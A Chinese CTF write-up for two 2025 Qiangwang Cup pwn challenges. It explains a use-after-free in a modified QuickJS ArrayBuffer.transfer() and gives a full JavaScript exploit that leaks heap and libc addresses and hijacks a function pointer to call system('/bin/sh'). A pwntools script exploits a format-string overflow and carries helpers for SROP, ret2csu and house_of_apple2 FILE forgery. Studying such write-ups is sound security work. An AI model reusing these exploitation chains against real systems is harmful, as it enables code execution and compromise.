[2025 强网杯] Pwn writeup

本文总阅读量

只打了第一天,第二天去ISCC线下赛了,不然还能再出几个,可惜了

熬夜打到两点第二天还要早起打ISCC,只睡了三个多小时,太痛苦了

babyjs

经验表明,一个足够坚定的人使用poc撰写exp基本总能成功

neta自 “经验表明,一个足够坚定的人使用近战武器攻击坦克基本总能成功” ———— 德国中央集团军群反坦克手册

题目信息

题解

一个js引擎pwn,拿到基本信息后发现是QuickJS的改版,用bindiff可以发现多出来的函数是ArrayBuffer和DataView相关的部分。

用AI总结了一下相关内容与漏洞,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
# QuickJS ArrayBuffer.transfer() UAF 漏洞深度分析

## 🎯 漏洞概述

**漏洞类型**: Use-After-Free (UAF)
**影响函数**: `js_array_buffer_transfer` (地址 0xa6450)
**根本原因**: transfer() 后只更新了 ArrayBuffer 对象的 detached 标志,但没有失效相关的 TypedArray 视图

---

## 📊 关键数据结构

### JSArrayBuffer 结构 (来自源码分析)

‍`c
typedef struct JSArrayBuffer {
int byte_length; // offset +0: 0 if detached
uint8_t detached; // offset +8: detached flag
uint8_t shared; // offset +9: shared flag
uint8_t *data; // offset +16: data pointer (NULL if detached)
struct list_head array_list; // offset +24: linked list of views
void *opaque; // offset +40
JSFreeArrayBufferDataFunc *free_func; // offset +48
int max_byte_length; // offset +4: for resizable buffers
} JSArrayBuffer;
‍`

### JSTypedArray 结构

‍`c
typedef struct JSTypedArray {
struct list_head link; // offset +0: link to arraybuffer
JSObject *obj; // offset +16: back pointer to TypedArray object
JSObject *buffer; // offset +24: based array buffer
uint32_t offset; // offset +32: offset in the array buffer
uint32_t length; // offset +36: length in the array buffer
} JSTypedArray;
‍`

---

## 🔍 漏洞位置分析

### js_array_buffer_transfer 伪代码 (关键部分)

‍```c
JSValue js_array_buffer_transfer(JSContext *ctx, JSValue this_val,
int argc, JSValue *argv,
int transfer_to_fixed_length)
{
// ... 省略参数检查 ...

JSArrayBuffer *v13 = (JSArrayBuffer *)JS_GetOpaque2(ctx, this_val, 0x13);

// 检查是否 detached
if (v13->detached)
return JS_ThrowTypeError(ctx, "ArrayBuffer is detached");

// ... 省略 new_len 计算 ...

if (new_len) {
uint8_t *data = v13->data;
void (*free_func)(JSRuntime *, void *, void *) = v13->free_func;
int byte_length = v13->byte_length;

// ... 处理 realloc 或 memcpy ...

// ⚠️ 关键:只标记原 buffer 为 detached,但没有更新视图!

LABEL_20:
v13->detached = 1; // 行 88: 设置 detached 标志
v13->data = 0; // 行 89: 清空 data 指针
v13->byte_length = 0; // 行 90: 清空 byte_length

// ❌ 缺失:没有调用 JS_DetachArrayBuffer 来更新所有 TypedArray 视图!

// 创建新的 ArrayBuffer 并返回
return js_array_buffer_constructor3(ctx, ..., v23, free_func, ...);
}
// ... 省略 new_len == 0 的情况 ...

}
```

### 汇编代码关键片段 (0xa659b - 0xa65d5)

‍```asm
; ⚠️ 只更新 ArrayBuffer 本身,不更新 TypedArray views
loc_A659B:
mov byte ptr [r8+8], 1 ; v13->detached = 1
mov qword ptr [r8+10h], 0 ; v13->data = 0
mov dword ptr [r8], 0 ; v13->byte_length = 0

; 直接调用 js_array_buffer_constructor3 创建新 buffer
; ❌ 缺失对 TypedArray views 的更新!
call js_array_buffer_constructor3

```

---

## 🆚 对比:正确的 detach 实现

### JS_DetachArrayBuffer (正确实现)

‍```c
void JS_DetachArrayBuffer(JSContext *ctx, JSValue obj)
{
JSArrayBuffer *abuf = JS_GetOpaque(obj, JS_CLASS_ARRAY_BUFFER);

// 遍历所有关联的 TypedArray 视图
struct list_head *el;
list_for_each(el, &abuf->array_list) {
JSTypedArray *ta = list_entry(el, JSTypedArray, link);
JSObject *view = ta->obj;

// ✅ 正确:更新每个 TypedArray 的 length 和 data 指针
if (view->class_id != JS_CLASS_DATAVIEW) {
view->u.typed_array.length = 0; // 清空长度
view->u.typed_array.data = NULL; // 清空数据指针
}
}

// 最后才标记 buffer 为 detached
abuf->detached = 1;
abuf->data = NULL;
abuf->byte_length = 0;

}
```

---

## ⚠️ 漏洞触发路径

### 1. 正常流程(无 UAF)

‍`
ArrayBuffer.resize()

js_array_buffer_resize (0x4b370)

遍历 array_list 更新所有 TypedArray views (行 52-81)

✅ TypedArray.length 和 .data 都被正确更新
‍`

### 2. 漏洞流程(UAF)

‍`
ArrayBuffer.transfer()

js_array_buffer_transfer (0xa6450)

只标记 detached=1 (行 88-90)

❌ 没有遍历 array_list

❌ TypedArray 的 length 和 data 指针仍然有效!

UAF: 可以通过旧 TypedArray 访问已转移的内存
‍`

---

## 💣 exploit 实际利用

### 触发代码

‍```javascript
// 1. 创建 ArrayBuffer 和 TypedArray
const ab1 = new ArrayBuffer(0x100, {maxByteLength: 0x1000});
const ta1 = new Uint32Array(ab1); // ta1 关联到 ab1

// 2. 填充数据
for (let i = 0; i < ta1.length; i++) ta1[i] = 0xAAAA0000 + i;

// 3. 调用 transfer()
const ab2 = ab1.transfer();
const ta2 = new Uint32Array(ab2);

// 此时内存状态:
// ab1: detached=1, data=0, byte_length=0
// ta1: ❌ length=64, data=<old pointer> (未更新!)
// ab2: detached=0, data=<new pointer>, byte_length=0x100
// ta2: length=64, data=<new pointer>

// 4. UAF 读取
console.log(ta1[0]); // ⚠️ 仍然可以读!读取到 0xAAAA0000

// 5. UAF 写入
ta1[0] = 0xDEADBEEF; // ⚠️ 写入生效!

// 6. 验证损坏
console.log(ta2[0]); // 输出 0xDEADBEEF - ab2 被损坏!
```

### 内存布局图

‍```
调用 transfer() 前:
┌─────────────┐
│ ab1 │
│ data ───────┼──→ [0xAAAA0000, 0xAAAA0001, ...]
│ detached=0 │ ↑
└─────────────┘ │
↑ │
│ ┌────┴────┐
┌──┴──┐ │ ta1 │
│ ta1 ├────────┤ data ───┘
└─────┘ │ length=64
└─────────┘

调用 transfer() 后:
┌─────────────┐
│ ab1 │
│ data = NULL │ ← detached
│ detached=1 │
└─────────────┘

│ ┌─────────┐
┌──┴──┐ │ ta1 │ ← ⚠️ 没有更新!
│ ta1 ├────────┤ data ───┼──→ [悬空指针]
└─────┘ │ length=64
└─────────┘

┌─────────────┐
│ ab2 │
│ data ───────┼──→ [0xAAAA0000, 0xAAAA0001, ...]
│ detached=0 │ ↑
└─────────────┘ │
↑ ┌────┴────┐
│ │ ta2 │
┌──┴──┐ │ data ───┘
│ ta2 ├────────┤ length=64
└─────┘ └─────────┘

UAF 写入后 (ta1[0] = 0xDEADBEEF):
┌─────────┐
│ ta1 │
│ data ───┼──→ 写入到这里
└─────────┘ ↓

┌─────────────┐ ↓
│ ab2 │ ↓
│ data ───────┼──→ [0xDEADBEEF, 0xAAAA0001, ...]
│ detached=0 │ ↑ ↑
└─────────────┘ │ │
↑ ┌────┴────┐ │
│ │ ta2 │ │
┌──┴──┐ │ data ───┼──────┘
│ ta2 ├────────┤ length=64
└─────┘ └─────────┘

└── ta2[0] 现在读到 0xDEADBEEF!
```

---

## 🔬 GDB 验证步骤

### 1. 设置断点

‍`gdb
gdb ./bin/qjs
(gdb) b js_array_buffer_transfer
(gdb) b *0xa659b # detached = 1 的位置
(gdb) run simple_uaf.js
‍`

### 2. 观察 ArrayBuffer 结构

‍```gdb

# 在 transfer() 入口处

(gdb) p/x _(JSArrayBuffer_)$r8
$1 = {
byte_length = 0x100,
detached = 0x0, # 未 detach
shared = 0x0,
data = 0x555556789000,
array_list = {...},
...
}

# 继续到 detached = 1 处

(gdb) ni
(gdb) p/x _(JSArrayBuffer_)$r8
$2 = {
byte_length = 0x0, # 已清零
detached = 0x1, # ⚠️ 已标记
shared = 0x0,
data = 0x0, # ⚠️ 已清空
array_list = {...}, # ❌ 但 list 没有遍历!
...
}
```

### 3. 检查 TypedArray 视图

‍```gdb

# 查看 array_list 中的第一个 TypedArray

(gdb) set $ta = (JSTypedArray*)$r8->array_list.next
(gdb) p/x \*$ta
$3 = {
link = {...},
obj = 0x555556abc000,
buffer = 0x555556def000,
offset = 0x0,
length = 0x40, # ❌ 仍然是 64!应该是 0!
}

# 查看 TypedArray 对象的 data 指针

(gdb) p/x $ta->obj->u.typed_array.data
$4 = 0x555556789000 # ❌ 仍然指向旧地址!应该是 NULL!
‍```

---

## 🛡️ 修复方案

### 正确的 transfer 实现应该:

‍```c
JSValue js_array_buffer_transfer(...) {
// ... 前面的代码不变 ...

LABEL_20:
// ✅ 方案 1: 调用 JS_DetachArrayBuffer 来正确更新视图
JS_DetachArrayBuffer(ctx, this_val);

// 然后再创建新 buffer
return js_array_buffer_constructor3(...);

// ✅ 方案 2: 手动遍历并更新所有视图
struct list_head *el;
list_for_each(el, &v13->array_list) {
JSTypedArray *ta = list_entry(el, JSTypedArray, link);
JSObject *view = ta->obj;
if (view->class_id != JS_CLASS_DATAVIEW) {
view->u.typed_array.length = 0;
view->u.typed_array.data = NULL;
}
}
v13->detached = 1;
v13->data = 0;
v13->byte_length = 0;

return js_array_buffer_constructor3(...);

}
```

---

## 📝 总结

### 漏洞根因

`js_array_buffer_transfer` 在 **0xa659b** 处只标记了 `detached=1`,但**没有更新 TypedArray 视图**的 `length` 和 `data` 指针,导致:

1. ✅ ArrayBuffer 被正确标记为 detached
2. ❌ TypedArray 视图仍然持有旧的 data 指针和 length
3. ⚠️ 通过 TypedArray 可以继续访问已转移的内存
4. 💣 写入会损坏新 ArrayBuffer 的数据

### 对比 resize()

- `resize()` 在 **0x4b424** 处**正确遍历**了 `array_list` 并更新所有视图
- `transfer()` **缺失**这个关键步骤

### Exploit 价值

这个 UAF 可以用来:

1. 读取相邻堆内存(泄露地址)
2. 损坏新 ArrayBuffer 内容(类型混淆)
3. 构造 addrof/fakeobj 原语
4. 实现任意内存读写
5. 最终获取代码执行权限

---

## 🔗 相关文件

- 汇编分析: IDA Pro 反汇编 `js_array_buffer_transfer` @ 0xa6450
- 源码参考: `quickjs-2025-09-13/quickjs.c` (官方实现)
- 测试脚本: `simple_uaf.js`
- 调试脚本: `minimal_debug.py`

AI给我们总结了一个PoC,即在transfer之后会有一个UAF漏洞,用其他的JS引擎和原版QuickJS会报错,但题目版本能够正常触发

调试发现是堆上的UAF,而且堆的大小正就是我们申请的size.由于UAF,我们可以读堆上残留的libc指针和堆地址相关的数据(通过构造unsorted bin和tcache bin)从而得到堆地址和libc基地址

之后结合tcache投毒可以完成任意写,但是由于堆块会在申请后清零导致我们无法任意读,以及清零重要数据程序可能会crash掉,因此我选取了存储在堆上固定偏移量的函数指针js_parseFloat来进行攻击,尝试劫持控制流

覆写之后会报一系列的错误,调试解决之后发现执行流在执行到该函数时的rdi是可控的,因此我们可以控制rdi指向我们构造的/bin/sh字符串,函数指针换成system,最终可以getshell

js

注意输入文件变量数量以及内容/注释大小都会影响堆块的布局,需时刻进行调整

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function tohex(v) {
return "0x" + v.toString(16).padStart(16, "0");
}

vlog = (x) => console.log(tohex(x));

const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);

const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);

const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);

let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);

ab1_f = null;
ta1_f = null;

libc_addr = ta1[0] - 0x203b20n;
fstderr = libc_addr + 0x2044e0n;
system = libc_addr + 0x58750n;

const ab2 = new ArrayBuffer(0xa0);
const ta2 = new BigUint64Array(ab2);

let ab2_f = ab2.transfer();
let ta2_f = new BigUint64Array(ab2_f);

ab2_f = null;
ta2_f = null;

heap_xor = ta2[0];
heap_addr = ta2[0] << 12n;
heap_base = heap_addr - 0x9000n - 0x14000n;
map_addr = heap_base + 0x3120n;

// ta2[0] = (heap_base + 0x2a0n) ^ heap_xor

const ab3 = new ArrayBuffer(0xa0);
const ta3 = new BigUint64Array(ab3);

const ab4 = new ArrayBuffer(0xa0);
const ta4 = new BigUint64Array(ab4);

let ab3_f = ab3.transfer();
let ta3_f = new BigUint64Array(ab3_f);

let ab4_f = ab4.transfer();
let ta4_f = new BigUint64Array(ab4_f);

ab3_f = null;
ta3_f = null;

ab4_f = null;
ta4_f = null;

ta4[0] = map_addr ^ (heap_xor + 0x00n);

const ab5 = new ArrayBuffer(0xa0);
const ta5 = new BigUint64Array(ab5);

let tmp = ab2.resizable;
vlog(heap_base);

const ab6 = new ArrayBuffer(0xa0);
const ta6 = new BigUint64Array(ab6);

vlog(libc_addr);

for (let i = 0; i < ta6.length; i++) {
ta6[i] = 1n;
}

ta6[0] = heap_base + 0x19c0n;
ta6[1] = 0x51n;
ta6[2] = 0xc010000000002n;
ta6[3] = heap_base + 0x3178n;
ta6[4] = heap_base + 0x3178n;
ta6[6] = heap_base + 0x3178n;
ta6[7] = heap_base + 0x3178n;
ta6[8] = heap_base + 0x3178n;
ta6[9] = system;
ta6[11] = 0x68732f6e69622fn;
let num = parseFloat(1.1);

flag-market

题目信息

题解

程序内容比较少,是先读取flag存起来然后只给我们输出大括号之前的内容。之后还会清空掉。

在scanf函数处有一个明显的bss段溢出,可以溢出控制printf的参数,从而引入格式化字符串漏洞。我们可以结合栈上的变量泄漏堆指针并任意读。

由于fwrite在读取的时候在堆上是有缓冲区备份的,所以就直接拿到flag了

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
from pwn import *
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["kitty"]
binary_path = "./flag-market/bin/chall"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

ip, port = "39.106.45.147", 34949
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


p.sendlineafter(b"exit\n", b"1")
p.sendlineafter(b"?\n", b"255")

'''tate of the GOT of /home/NazrinDuck/code/pwn/2025qwb/flag-market/bin/chall:
GOT protection: Partial RELRO | Found 17 GOT entries passing the filter
[0x404018] putchar@GLIBC_2.2.5 -> 0x401030 <- endbr64
[0x404020] puts@GLIBC_2.2.5 -> 0x401040 <- endbr64
[0x404028] write@GLIBC_2.2.5 -> 0x401050 <- endbr64
[0x404030] fclose@GLIBC_2.2.5 -> 0x401060 <- endbr64
[0x404038] __stack_chk_fail@GLIBC_2.4 -> 0x401070 <- endbr64
[0x404040] printf@GLIBC_2.2.5 -> 0x401080 <- endbr64
[0x404048] memset@GLIBC_2.2.5 -> 0x401090 <- endbr64
[0x404050] read@GLIBC_2.2.5 -> 0x4010a0 <- endbr64
[0x404058] fgets@GLIBC_2.2.5 -> 0x4010b0 <- endbr64
[0x404060] getchar@GLIBC_2.2.5 -> 0x4010c0 <- endbr64
[0x404068] setvbuf@GLIBC_2.2.5 -> 0x4010d0 <- endbr64
[0x404070] open@GLIBC_2.2.5 -> 0x4010e0 <- endbr64
[0x404078] fopen@GLIBC_2.2.5 -> 0x4010f0 <- endbr64
[0x404080] atoi@GLIBC_2.2.5 -> 0x401100 <- endbr64
[0x404088] __isoc99_scanf@GLIBC_2.7 -> 0x401110 <- endbr64
[0x404090] exit@GLIBC_2.2.5 -> 0x401120 <- endbr64
[0x404098] sleep@GLIBC_2.2.5 -> 0x401130 <- endbr64
'''


payload = b"a" * 0x100
payload += b"%9$p|%12$s"

p.sendlineafter(b"report:\n", payload)

p.sendlineafter(b"exit\n", b"1")
p.sendlineafter(b"?\n", p64(elf.got["fclose"]))

p.recvuntil(b"0x")

heap_addr = int(p.recvuntil(b'|', drop=True), 16)
ls(heap_addr)


p.sendlineafter(b"exit\n", b"1")
dbg(p)
p.sendlineafter(b"?\n", p64(heap_addr + 0x1e0))
'''
'''


p.interactive()